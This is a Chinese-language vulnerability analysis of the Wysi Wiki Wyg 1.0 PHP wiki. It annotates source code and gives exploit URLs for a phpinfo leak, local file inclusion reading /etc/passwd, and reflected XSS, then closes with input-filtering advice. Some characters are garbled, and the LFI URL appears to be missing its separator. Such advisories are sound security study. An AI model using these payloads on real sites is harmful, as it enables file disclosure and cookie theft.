|
前言
Wysi Wiki Wyg 1.0是基于php编写的wiki程序。但是最近出现了几个漏洞,因为它未对用户通过在index.php文件中的‘S’参数所提交的数据进行有效过滤,当’c’参数被设置为'wikiwizi',同时’a’参数被设置为'recherche'时,就会产生跨站脚本漏洞,攻击者可以利用此漏洞诱骗用户去浏览存在漏洞的站点,从而在用户的浏览器中执行任意脚本代码,这可以使攻击者窃取基于cookie的认证证书,并发动其它攻击。与此同时,它还被发现存在本地文件包含漏洞以及phpinfo信息泄漏漏洞,具体分析在后面会详细说到。
漏洞分析
Phpinfo信息泄漏漏洞
该漏洞存在index.php文件中,漏洞代码分析如下:
function get_upload_dir($cate)
{
$filename = $GLOBALS["upload"]; //在config.php中有定义 $GLOBALS["upload"] = 'config/uploaddirs.txt';
//config/uploaddirs.txt内容如下:
Images;c:\program files\apache group\apache\htdocs\vincent\images\;images/
T閘閏hargements;c:\program files\apache group\apache\htdocs\vincent\downloads\;downloads/
Scripts PHP;c:\program files\apache group\apache\htdocs\vincent\php\;php/
Musiques;c:\program files\apache group\apache\htdocs\vincent\musiques\;musiques/
***********************************************************************************
$handle = fopen ($filename, "r"); //打开config/uploaddirs.txt文件
while (!feof ($handle)) { //未到文件末尾则循环下列操作
$buffer = fgets($handle,4096); //读取文件
list($cat,$val,$dir)=split(";",$buffer); //以分号为间隔符分别将文件内容赋予各变量
if ($cate==$cat) {$resultat = $val;} //将变量$val的值赋予$resultat,并作为结果返回
}
fclose ($handle); //关闭文件句柄
return $resultat; //返回结果
}
function get_upload_dir_rel($cate)
{
$filename = $GLOBALS["upload"];
$handle = fopen ($filename, "r"); //打开config/uploaddirs.txt文件
while (!feof ($handle)) {
$buffer = fgets($handle,4096); //读取文件
list($cat,$val,$dir)=split(";",$buffer); ////以分号为间隔符分别将文件内容赋予各变量
if ($cate==$cat) {$resultat = $dir;} //将变量$dir的值赋予$resultat,这是与上一函数不同的地方
}
fclose ($handle);
return $resultat; //返回结果
}
if (isset($_REQUEST["categup"])) { // 若categup设值
$uploaddir = trim(get_upload_dir($_REQUEST["categup"])); //获取上传目录
$downloaddir = trim(get_upload_dir_rel($_REQUEST["categup"])); //获取上传目录中的最后一个目录名
print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) { //若移动文件失败,则跳到else语句执行phpinfo()函数,因此我们只需给categup赋值,且该值不为uploaddirs.txt中的Images、T閘閏hargements(可以是编码问题才出现的乱码)、Scripts PHP和Musiques四个值,这样就可以执行phpinfo函数了。
print $fic_tele1;
print $rep_base.$downloaddir.$_FILES['userfile']['name']."\n";
print $mess_url.$downloaddir.$_FILES['userfile']['name']."\n";
} else {
echo $attaque;
print_r($_FILES);
echo phpinfo(); //调用phpinfo()函数用来显示当前php环境,造成信息泄漏。
}
print "</PRE>";
} else {echo $select_categ;}
Exploit:
http://www.site.com/index.php?categup=isset
跨站脚本漏洞与本地文件包含漏洞
两者漏洞主要存在index.php以及comfig.php两个文件中,代码分析如下:
Config.php代码如下:
$GLOBALS["recherche"] = '<FORM ACTION="index.php" METHOD="POST"><INPUT TYPE=HIDDEN NAME=c VALUE="%s"><INPUT TYPE=HIDDEN NAME=a VALUE="recherche"><INPUT TYPE=HIDDEN NAME=u VALUE="%s"><INPUT TYPE=TEXT SIZE=15 NAME="s"><INPUT TYPE=submit VALUE="GO"></FORM>'; //文本框s中提交的数据并未进行有效过滤就返回给用户,这样就造成跨站脚本的发生
Index.php代码如下:
include "config.php"; //主要定义了一些全局变量以及其它变量
$modif=false;
$comment=false;
$login=false;
$contenu="";
$pseudo="";
$mail="";
$categ="";
$article="";
$raison="";
$auteur="";
$revision="";
$rech="";
$titre="";
$user="0";
$al="0";
$ae="0";
if (isset($_REQUEST["c"])) {$categ = $_REQUEST["c"];} //变量$categ的值通过$_REQUEST["c"]获得
if (isset($_REQUEST["a"])) {$article = $_REQUEST["a"];} //变量$article的值则通过$_REQUEST["a"]获得
if (isset($_REQUEST["r"])) {$raison = $_REQUEST["r"];}
if (isset($_REQUEST["w"])) {$auteur = $_REQUEST["w"];}
if (isset($_REQUEST["v"])) {$revision = $_REQUEST["v"];}
if (isset($_REQUEST["u"])) {$user = $_REQUEST["u"];}
代码省略……
function traiter_article($categ,$article,$ext,$user)
{
$filename = $categ.'/'.$article.'.'.$ext; //用变量$categ,$article,$ext组成一个包含扩展名的文件名
if (file_exists($filename)) { //若文件存在则打开它
$handle = fopen ($filename, "r");
$contents = fread ($handle, filesize ($filename)); //读取文件时对于变量$categ和$article并未进行任何有效地过滤,以致可以读取任意文件
fclose ($handle); //关闭文件
$pattern[0] = "/\"\[\[/";
$pattern[1] = "/\]\]\"/";
$pattern[2] = "/%u%/";
$pattern[3] = "/%r%/";
$replacement[0] = "\"index.php?";
$replacement[1] = "&u=".$user."\"";
$replacement[2] = $user;
$replacement[3] = sprintf($GLOBALS["recherche"],$categ,$user); //通过config.php文件可知,变量$categ的值赋予隐藏文本框c,必须为一个存在的目录名,而a已经被赋予了recherche,因此这里c只能是wikiwizi,因为只有wikiwizi目录中才包含有一个文件名含有recherche的文件,而变量$user的值则赋予隐藏文本框u,但文本框s中的数据未进行有效过滤就调用sprittf()函数返回给用户,造成跨站脚本漏洞
$contents =preg_replace($pattern, $replacement, $contents); //执行正则表达式的搜索和替换
$contents = str_replace("../jscript","jscript",$contents); //将$contents中的../jscript全部替换为jscript
echo $contents; //将文件内容写出来,造成本地文件包含漏洞
}
}
Exploit:
Local File Inclusion (LFI) (MQ Off)
? http://www.site.com/index.php?c=../../../&a=etc/passwd
参数c与a刚好组成../../../ etc/passwd,用于读取etc/passwd内容,而主要是用于间隔扩展名,因为通过上面的代码我们可以知道后面还有一个扩展名(主要是txt文件),加入后可以防止变成etc/passwd.txt,而失去作用。
?
?Cross Site Scripting (XSS)
?http://www.site.com/index.php?c=wikiwizi&a=recherche&s=<script>[Javascript]</script>
只有当c=wikiwizi&a=recherche时,才有参数s,并且是通过get方式来传输数据的。
结论
通过上面的分析,我们可以知道phpinfo()函数的使用经常会造成信息泄漏,因此在调用该函数时应慎重,或者在安装程序后,应及时删除相关文件。另外,对于跨站脚本漏洞和本地文件包含漏洞,大多是因未对用户所提交的数据进行有效地过滤而导致的,对此我们可以使用一些检测函数,比如:htmlspecialchars()和htmlentities()等等,对于这些漏洞的防御也可以起到一定的作用 |
|